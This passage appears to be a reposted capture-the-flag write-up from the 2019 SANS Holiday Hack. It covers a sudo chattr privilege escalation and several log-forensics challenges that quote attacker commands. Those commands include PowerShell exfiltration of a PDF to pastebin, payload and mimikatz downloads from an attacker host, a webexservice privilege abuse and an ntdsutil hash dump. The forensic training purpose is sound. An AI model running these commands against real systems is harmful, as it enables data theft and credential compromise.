Updated Mirror Angle - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method POST -Body "O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9").RawContent
HTTP/1.1 200 OK
Server: Microsoft-NetCore/2.0
Date: Thu, 12 Dec 2019 22:17:32 GMT
Content-Length: 81
Updated Gas Measurements - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/output).RawContent
HTTP/1.1 200 OK
Server: Microsoft-NetCore/2.0
Date: Thu, 12 Dec 2019 22:17:47 GMT
Content-Length: 199
Success! - 5.428 Mega-Jollies of Laser Output Reached!Inside the shell
nyancat, nyancat
I love that nyancat!
My shell's stuffed inside one
Whatcha' think about that?
Sadly now, the day's gone
Things to do! Without one...
I'll miss that nyancat
Run commands, win, and done!
Log in as the user alabaster_snowball with a password of Password2,
and land in a Bash prompt.
Target Credentials:
username: alabaster_snowball
password: Password2Some hints:
User's Shells
From: Alabaster Snowball
On Linux, a user's shell is determined by the contents of /etc/passwd
Chatter?
From: Alabaster Snowball
sudo -l says I can run a command as root. What does it do?Let's apply them:
elf@e6d5f5ac3f24:~$ cat /etc/passwd
elf:x:1000:1000::/home/elf:/bin/bash
alabaster_snowball:x:1001:1001::/home/alabaster_snowball:/bin/nsh/bin/nsh is immutable but we can remove it with chattr
elf@14a07541cd62:~$ lsattr /bin/nsh
----i---------e---- /bin/nsh
sudoelf@14a07541cd62:~$ chattr -i /bin/nsh
chattr: Permission denied while setting flags on /bin/nsh
elf@14a07541cd62:~$ sudo /usr/bin/chattr -i /bin/nsh
elf@14a07541cd62:~$ lsattr /bin/nsh
--------------e---- /bin/nshEveryone has rwx on /bin/nsh.
elf@14a07541cd62:~$ ls -alt /bin/nsh
-rwxrwxrwx 1 root root 75680 Dec 11 17:40 /bin/nshNow we can login.
elf@dff265704748:~$ su - alabaster_snowball
Password:
Loading, please wait......
You did it! Congratulations!Answer: DEMAND.
Date: February 28, 2019
To the Administration, Faculty, and Staff of Elf University
17 Christmas Tree Lane
North Pole
From: A Concerned and Aggrieved
Character Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical
Characters... OR ELSE!
Attention All Elf University Personnel,
It remains a constant source of frustration that Elf University and the entire
operation at the North Pole focuses exclusively on Mr. S. Claus and his year-end
holiday spree. We URGE you to consider lending your considerable resources and
expertise in providing merriment, cheer, toys, candy, and much more to other
holidays year-round, as well as to other mythical characters. For centuries, we
have expressed our frustration at your lack of willingness to spread your cheer
beyond the inaptly-called “Holiday Season.” There are many other perfectly fine
holidays and mythical characters that need your direct support year-round.
If you do not accede to our demands, we will be forced to take matters into our
own hands. We do not make this threat lightly. You have less than six months to
act demonstrably.
Sincerely,
--A Concerned and Aggrieved CharacterIs there anything in this letter?
Answer to question 2: DEMAND
7331 is prime.
Actual page that can be opened in the browser:
Questions
Question 1
What is the full-path + filename of the first malicious file downloaded by Minty?
- Answer
C:\Users\minty\Downloads\cookie_recipe.exe
Search for recipe and one message pops up.
CommandLine
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Invoke-WebRequest -Uri
https://pastebin.com/post.php -Method POST -Body @{ "submit_hidden" =
"submit_hidden"; "paste_code" =
$([Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf")));
"paste_format" = "1"; "paste_expire_date" = "N"; "paste_private" = "0";
"paste_name"="cookie recipe" }C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf
This is for alabaster and not what we want.
Searching for minty brings up a lot of results but if we search for it in the
results in the browser with ctrl+f we can see the downloaded file:
C:\Users\minty\Downloads\cookie_recipe.exe
Question 2
The malicious file downloaded and executed by Minty gave the attacker remote access to his machine. What was the ip:port the malicious file connected to first?
- Answer
192.168.247.175:4444
Searching for cookie_recipe.exe we can then click on EventID to the left and
then click on Quick Values to bring up a chart. Then we can click on the
magnifying glass beside each value to filter by that event ID.
cookie_recipe.exe AND EventID:2is when Firefox created the downloaded file.cookie_recipe.exe AND EventID:3is what we want.message elfu-res-wks1 MSWinEventLog 1 Microsoft-Windows-Sysmon/Operational 2441 Tue Nov 19 05:24:04 2019 3 Microsoft-Windows-Sysmon SYSTEM User Information elfu-res-wks1 Network connection detected (rule: NetworkConnect) Network connection detected: RuleName: UtcTime: 2019-11-19 13:24:03.757 ProcessGuid: {BA5C6BBB-ECF2-5DD3-0000-001086363300} ProcessId: 5256 Image: C:\Users\minty\Downloads\cookie_recipe.exe User: ELFU-RES-WKS1\minty Protocol: tcp Initiated: true SourceIsIpv6: false SourceIp: 192.168.247.177 SourceHostname: elfu-res-wks1.localdomain SourcePort: 53564 SourcePortName: DestinationIsIpv6: false DestinationIp: 192.168.247.175 DestinationHostname: DEFANELF DestinationPort: 4444 DestinationPortName: 20132
192.168.247.175:4444
Question 3
What was the first command executed by the attacker?
- (answer is a single word)
whoami
Searching for cookie_recipe and looking at timestamps, the first action after
Tue Nov 19 05:24:04 2019 that we saw above is C:\Windows\system32\cmd.exe /c "whoami "
Question 4
What is the one-word service name the attacker used to escalate privileges?
Answer
webexserviceC:\Windows\system32\cmd.exe /c "Invoke-WebRequest -Uri http://192.168.247.175/cookie_recipe2.exe -OutFile cookie_recipe2.exe " C:\Windows\system32\cmd.exe /c "sc start webexservice a software-update 1 wmic process call create "cmd.exe /c C:\Users\minty\Downloads\cookie_recipe2.exe" "
Question 5
What is the file-path + filename of the binary ran by the attacker to dump credentials?
Answer
C:\cookie.exeC:\Windows\system32\cmd.exe /c "Invoke-WebRequest -Uri https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20190813/mimikatz_trunk.zip -OutFile cookie.zip "
Searching for mimikatz we find another event. It says the original filename of
cookie.exe was mimikatz. It was renamed.
C:\Windows\system32\cmd.exe /c "Invoke-WebRequest -Uri http://192.168.247.175/mimikatz.exe -OutFile C:\cookie.exe "
Question 6
The attacker pivoted to another workstation using credentials gained from Minty's computer. Which account name was used to pivot to another machine?
- Answer
alabaster
https://www.jpcert.or.jp/english/pub/sr/20170612ac-ir_research_en.pdf
event ID `4624`
LogonType: 10 == remote == RDP - Logon Type 10 – RemoteInteractive
EventID:4624 AND LogonType:10There is only one event at 06:04:28.
Question 7
What is the time ( HH:MM:SS ) the attacker makes a Remote Desktop connection to another machine?
- Answer
06:04:28
Question 8
The attacker navigates the file system of a third host using their Remote Desktop Connection to the second host. What is the SourceHostName,DestinationHostname,LogonType of this connection? (submit in that order as csv)
- Answer
ELFU-RES-WKS2,ELFU-RES-WKS3,3
Our info:
- Time:
2019-11-19 06:07:22.000 - Filter:
SourceHostName:ELFU\-RES\-WKS2 AND DestinationHostname:elfu\-res\-wks3
The attacker has GUI access to workstation 2 via RDP. They likely use this GUI connection to access the file system of workstation 3 using explorer.exe via UNC file paths (which is why we don't see any cmd.exe or powershell.exe process creates). However, we still see the successful network authentication for this with event id 4624 and logon type 3.
Question 9
What is the full-path + filename of the secret research document after being transferred from the third host to the second host?
- Answer
C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf
Our filter is: ProcessImage:C\:\\Windows\\Explorer.EXE AND source:elfu\-res\-wks2
Sorting by date, only one event is after the logon timestamp above.
CreationUtcTime
2019-11-19T14:07:50.000Z
EventID
2
ProcessId
4372
ProcessImage
C:\Windows\Explorer.EXE
TargetFilename
C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf
WindowsLogType
Microsoft-Windows-Sysmon/OperationalQuestion 10
What is the IPv4 address (as found in logs) the secret research document was exfiltrated to?
- Answer
104.22.3.84
Searching for super_secret_elfu_research.pdf there are 3 events.
2019-11-19 06:14:24.000
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Invoke-WebRequest -Uri
https://pastebin.com/post.php -Method POST -Body @{ "submit_hidden" =
"submit_hidden"; "paste_code" =
$([Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf")));
"paste_format" = "1"; "paste_expire_date" = "N"; "paste_private" = "0";
"paste_name"="cookie recipe" }We know exfiltration was done with PowerShell from wks2 so our filter is:
SourceHostname:elfu\-res\-wks2.localdomain AND ProcessImage:C\:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe
Which gives us one event.
DestinationHostname
pastebin.com
DestinationIp
104.22.3.84
DestinationPort
80
EventID
3
ProcessId
1232
ProcessImage
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Protocol
tcp
SourceHostname
elfu-res-wks2.localdomain
SourceIp
192.168.247.177
SourcePort
53564srf.elfu.org
A proper configuration for the Smart Braces should be exactly:
- Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
- Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.
- Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on port 22).
- Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
- Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
- Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.
Tutorial: https://wiki.centos.org/HowTos/Network/IPTables
- Default policites to DROP
- sudo iptables -P INPUT DROP
- sudo iptables -P OUTPUT DROP
- sudo iptables -P FORWARD DROP
- Accept all connections that are established, related.
- sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
- sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
- Accept only one IP for SSH.
- sudo iptables -A INPUT -p tcp --dport 22 -s 172.19.0.225 -j ACCEPT
- Have to match multiport to specify multiple ports in one rule
- sudo iptables -A INPUT -p tcp --match multiport --dports 21,80 -j ACCEPT
- Accept all output traffic going to port 80.
- sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
- Accept all traffic fromthe lo interface.
- sudo iptables -A INPUT -i lo -j ACCEPT
They are in the student union area.
We're seeing attacks against the Elf U domain! Using the event log data, identify the user account that the attacker compromised using a password spray attack. Bushy Evergreen is hanging out in the train station and may be able to help you out.
Bushy Evergreen says DeepBlueCLI tool is useful.
.\DeepBlue.ps1 .\Security.evtx >> report.txt and it spits out the report.
The tool gives Multiple admin logons for one account for three accounts but
only one of them appears in the Password Spray Attack prompts.
Answer: supatree
Using these normalized Sysmon logs, identify the tool the attacker used to retrieve domain password hashes from the lsass.exe process. For hints on achieving this objective, please visit Hermey Hall and talk with SugarPlum Mary.
https://downloads.elfu.org/sysmon-data.json.zip
Mimikatz has a module named lsadump. Mimikatz does not appear in the logs but
the module might.
https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump
Maybe it's procdump. No it's not.
Search with EQL at https://eqllib.readthedocs.io/en/latest/guides/sysmon.html#example-searches-with-eql
This query did not work.
- https://eqllib.readthedocs.io/en/latest/analytics/210b4ea4-12fc-11e9-8d76-4d6bb837cda4.html
file where file_name == "lsass*.dmp" and process_name != "werfault.exe"
Looking here, https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/
We can see some tools. Going through the tools, we get to ntdsutil. Searching
for it, we get to the last entry in the file which has our answer.
{
"command_line": "ntdsutil.exe \"ac i ntds\" ifm \"create full c:\\hive\" q q",
"event_type": "process",
"logon_id": 999,
"parent_process_name": "cmd.exe",
"parent_process_path": "C:\\Windows\\System32\\cmd.exe",
"pid": 3556,
"ppid": 3440,
"process_name": "ntdsutil.exe",
"process_path": "C:\\Windows\\System32\\ntdsutil.exe",
"subtype": "create",
"timestamp": 132186398470300000,
"unique_pid": "{7431d376-dee7-5dd3-0000-0010f0c44f00}",
"unique_ppid": "{7431d376-dedb-5dd3-0000-001027be4f00}",
"user": "NT AUTHORITY\\SYSTEM",
"user_domain": "NT AUTHORITY",
"user_name": "SYSTEM"
}Answer: ntdsutil
The attacks don't stop! Can you help identify the IP address of the malware-infected system using these Zeek logs? For hints on achieving this objective, please visit the Laboratory and talk with Sparkle Redberry.
Hint from Sparkle:
You got it - three cheers for cheer!
For objective 5, have you taken a look at our Zeek logs?
Something's gone wrong. But I hear someone named Rita can help us.
Can you and she figure out what happened?Rita is a framework for network traffic analysis and can ingest Zeek logs.
Seems like we might not have needed to install rita because the logs have the html report.
Following the video here, HTML report is discussed at:
Open the ELFU/index.html file and click on Beacons. Then we will see one
node (192.168.134.130) with almost a perfect score (0.998). Has a lot of
connections (7660) and goes to a weird IP address (144.202.46.214).
Score Source Destination Connections Avg. Bytes Intvl. Range Size Range Intvl. Mode Size Mode Intvl. Mode Count Size Mode Count Intvl. Skew Size Skew Intvl. Dispersion Size Dispersion
0.998 192.168.134.130 144.202.46.214 7660 1156.000 10 683 10 563 6926 7641 0.000 0.000 0 0There's nothing in Blacklists (BL Source IPs BL Dest. IPs and BL Hostnames).
This was our answer 192.168.134.130.
如有侵权请联系:admin#unsafe.sh